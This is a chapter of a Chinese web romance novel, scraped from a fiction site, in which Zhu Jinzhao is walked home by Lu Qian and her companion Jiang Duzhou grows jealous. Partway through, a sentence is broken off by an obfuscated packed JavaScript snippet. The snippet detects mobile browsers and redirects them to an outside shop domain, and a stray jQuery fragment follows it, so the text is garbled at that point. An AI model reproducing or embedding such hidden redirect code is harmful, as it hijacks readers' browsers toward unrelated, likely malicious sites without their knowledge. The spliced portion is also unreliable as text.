文趣网 > 其他小说 > 今天也没能成为驸马 > 14. 情愫
    陆谦等了一会儿没有等到她的回应,大约是意识到了,也不再追问。

    在寒风中行走的两个人谁都没有再开口,夜色更加的宁静黑暗,城里的夜晚没有什么活动,四周都静悄悄的。

    在前面拐个弯就要到了,陆谦的脚步也自然而然地慢了下来,想将这段路的时间在变得长一点。

    眼看着即将到达,陆谦终是忍不住快步上前拦在了她的面前,磕磕巴巴地说:“朱...朱姑娘!非要走不可吗?”

    “嗯,要走的。”她想了想,又道:“无论如何。”

    至少要见到皇兄安然无恙才行,与皇兄相比,她受到的追杀定然是少多了。

    只是皇兄也会武功,自是不会像她这般狼狈的。

    陆谦难免失落,却也不能阻拦他人的脚步,他又迈开了步子将祝今朝送至门前。

    “朱姑娘,你们何时走?我明日还能来寻你吗?”

    祝今朝歪着头,似是在思考,片刻后才道不:“还得过上几日,也说不准。”

    “至于明日——”她拖长了尾音,带着笑回应着:“你若想来自然是可以。”

    她有着自己的打算,总归这几日也不着急走,答应他也没什么。

    “好,好,”陆谦得到她的应允后,连忙点头,“我明日来寻你。”

    “阿姐。”

    房门被猛地打开,吓了两人一跳,江渡舟站在门口,看着她。

    他既不点灯也没有拿着蜡烛,夜色依旧黑沉沉的,看不清江渡舟脸上的情绪。

    祝今朝却莫名感到一股心虚,她这么晚才回来,也未曾与他说上一声。

    虽说是她的不对,但却还是硬气道:“你吓我一跳,灯怎么也不知道点,多吓人呐。”

    江渡舟沉默一瞬,很快就注意到了她身上那件显然并不属于她的斗篷,还是道:“抱歉。”

    见他知错,祝今朝没有丝毫的不好意思,大度地摆摆手:“下次注意就行。”

    “这是陆谦陆公子,是他送我回来的。”她介绍道,“这是我弟。”

    陆谦朝着江渡舟点点头:“朱公子。”

    江渡舟将视线转向他,却只是安安静静地看了陆谦几息,然后微微点了一下头,算是回应。

    “那我便不打扰你们休息,朱姑娘,我明日再来寻你。”

    祝今朝点了点头:“路上小心。”

    目送着陆谦离开后,祝今朝才进了屋,她径直地走到床榻旁坐下,这才意识到陆谦的斗篷还没有还给他。

    明日再给他好了,她伸手脱下斗篷,这斗篷的料子虽是没有从前宫里的好,但也是极为舒适暖和。

    现在的她也买不起这样的斗篷,她叹了口气,难免是悲从中来。

    屋里依旧没有点灯,失去了那点微弱的月光的照耀在这里更是伸手不见五指。

    祝今朝皱了皱眉:“江渡舟,你怎么不点灯?”

    “...忘了。”

    江渡舟的视力倒是不错,在黑暗的环境下也能看得清楚,此刻,他望着祝今朝,不知在想些什么。

    直到祝今朝不耐地再次开口,这才起身,找到蜡烛,点燃。

    火光亮起,她终于能看清屋里的东西...和江渡舟。

    他一直在看着她,眼神幽深。

    祝今朝问道:“你用过晚膳了吗?”

    “还未。”

    祝今朝有时会出去逛逛,晚些回来,而她又不爱吃冷掉的饭菜,故江渡舟都是等她回来之后才开始做饭的。

    而今日,她似乎回来的太晚了些。

    她解释道:“今日有些事,晚了些,我打包了些菜回来,热一热便能吃。”

    她将食盒放在桌上,都是没怎么动过的菜,陆谦不吃,她也吃饱了,若是扔了倒可惜。

    “都是些好菜,我已经吃饱了,你吃吧。”

    祝今朝把食盒掀开,牛肉几乎还未动过,桂花糕只动了两块,另外还有一碟清炒时蔬。

    她从灶台上取了碗筷放在桌上摆好,抬头看了江渡舟一眼,他还在原地站着:“愣着做什么,过来吃啊。”

    江渡舟这才像是回了魂似的,慢慢走到桌边坐下来。

    他低头看着桌上那些菜,没有去热,就着冷的,拿起筷子,夹了一片牛肉送进嘴里慢慢地嚼。

    牛肉很嫩,肉质紧实,桂花糕很是甜腻,都是他们平日里吃不到的东西。

    或许说,是他吃不到的东西,她从前是个富家小姐,这些好东西定是吃惯了。

    他出神地想着,又往嘴里塞了一块桂花糕,简直甜得腻人。

    这样甜腻的桂花糕无端地让他吃出一股苦味,密密麻麻地在口腔里泛开。

    “你今日一直同他在一块?”

    “碰巧遇上了,就一起用了晚膳。”

    她是想成婚了吗?前几日他们才说了此事,她便这样快就要改变想法了吗?

    他放下筷子,斟酌地开口问道:“你想与他成婚吗?”

    那个陆谦,长得确实不错,也有足够的银钱,江渡舟不知道自己是怎么了,越想便越觉得心头一颤一颤的。

    是中毒了吗?亦或是内伤还未好全?

    脑子里也是一团乱麻,怎么理也理不清,在她的身边,他好像变得越来越奇怪了。

    就像是此刻,他居然有些焦急地等着她的回答。

    “成婚?”祝今朝一顿,有些困惑:“我跟陆谦今天才正经说上话,你怎么会这样想?”

    她一时还没明白江渡舟的意思,这与成婚有何联系?

    但她没有再给江渡舟回答的时间,祝今朝像是突然想到了正事,她严肃起来:“这里马上便要不太平了,我们得走了。”

    “你还去苍州吗?”江渡舟抬起头。

    “你今日是怎么了?”祝今朝终于发觉了不对,她站起身来,倾身向前用手背贴向他的额头,“是生病了吗?”

    她的手还有些凉,那点凉意在他的额头上却给他一种灼烧感,一直烧到他的心底。

    他退后一点远离她的手:“我没事。”

    他喉咙滚动几下:“我的意思是...我们何时启程去苍州?”

    “是就我们两,还是...”他欲言又止,最终没有说完。

    一根蜡烛的灯仅仅只能照亮一小方区域,昏暗的环境里只有他们之间亮着温暖的火光。

    江渡舟沉默着没再说话,缓缓低下头去。

    祝今朝也收回停在半空中的手。

    她好像知道了江渡舟的异常。

    之前是她疏忽了,竟没注意到江渡舟的心思,没料到这样木头的性子也会升起情愫来。

    难怪他今日这样奇怪。

    她忽然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732811|208967||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑了,她也是不介意在路上多一点趣味。

    “江渡舟,你看着我。”

    “嗯?”他闷声应着,抬起头来,看向祝今朝,四目相对。

    他显然不太适应这样的对视,很快就挪开了视线,微微红了脸,只能望向一旁的墙面:“怎么了?”

    “无事,”她像是确定了某件事,笑盈盈地道:“自然是我们两人去苍州,再过几日便走。”

    “好,就我们俩。”他飞快地应道。

    在这里待了许久,身上伤早就好了,以他的武功,保护她不成问题,不会再出现之前的那种情况了。

    安静了一会,江渡舟又开口:“但你...明日不是还要去寻陆...谦吗?”

    祝今朝纠正道:“是他来寻我。”

    “但你答应了。”

    “那又如何?”她道,“这并不影响我们的行程。”

    江渡舟张了张嘴,却没出声,似是不知该如何回应。

    确实,那又如何?与他又有什么关系,那是她的事,他没有权利干涉她的事。

    纵然这般想着,可他还是提议道:“不如我同你一块,免得他不安好心...”说到最后,声音越来越小像是没了底气。

    陆谦这人他也听闻过,为人友善,才华横溢,在这城里几乎人人都夸赞他,又怎会不安好心呢?

    “我们的银钱攒够了吗?”她突然问道。

    江渡舟沉默一瞬:“我知晓了,我明天会去干活的。”

    祝今朝失笑,却没阻拦,她其实只是想问问如今有多少银钱了,去苍州还要一段时日,总得备足才行。

    他得来的工钱祝今朝只拿了一部分,剩下的都在他自己那里,这几日她也未曾过问,不知现在有多少银钱了。

    “睡吧,我困了。”她不再多言,简单地洗漱过后就上了床榻。

    第二日清晨,祝今朝是被陆谦的敲门声吵醒的,平日里她都是睡到日上三竿,倒是没注意与人相约会这般早。

    她磨磨蹭蹭地爬起来,江渡舟也还未出门,正做着早膳。

    他听见敲门声,放下碗碟,走过去开门,便是陆谦站在门口,手里还拎着个油纸包,似乎是几个肉包子。

    江渡舟又回头看了看自己刚刚洗好的青菜,他本预备煮青菜粥。

    陆谦似乎也意识到了,他主动道:“这是我刚才在包子铺买的,还热乎着,专门带给你们的,不嫌弃的话...”

    “我不必了,”江渡舟没让开门口的位置,让陆谦看不见屋里头的样子,回头唤着,“阿姐,陆公子来了。”

    江渡舟的冷漠没让陆谦太过在意,他站在屋外等了一会,才等到祝今朝穿戴整齐走出门开。

    “陆公子早啊。”她打着哈欠,与他问好。

    “朱姑娘...我是不是来的太早了。”陆谦瞧着她一副睡眼惺忪的样子,便知道自己来的时候不对,声音里带上了歉意:“是我来的不是时候。”

    祝今朝摆了摆手,拿手背揉了一下眼睛,又打了个哈欠才慢慢清醒过来:“没事,也该起了。”

    她侧身让开门口,看了一眼还站在原处的江渡舟:“你堵着门做什么,让人家进来啊。”

    江渡舟闻言,往后退了一步,让出门口的位置。他没有说话,转身走回灶台边,把那盆洗好的青菜端起来,倒进了锅里。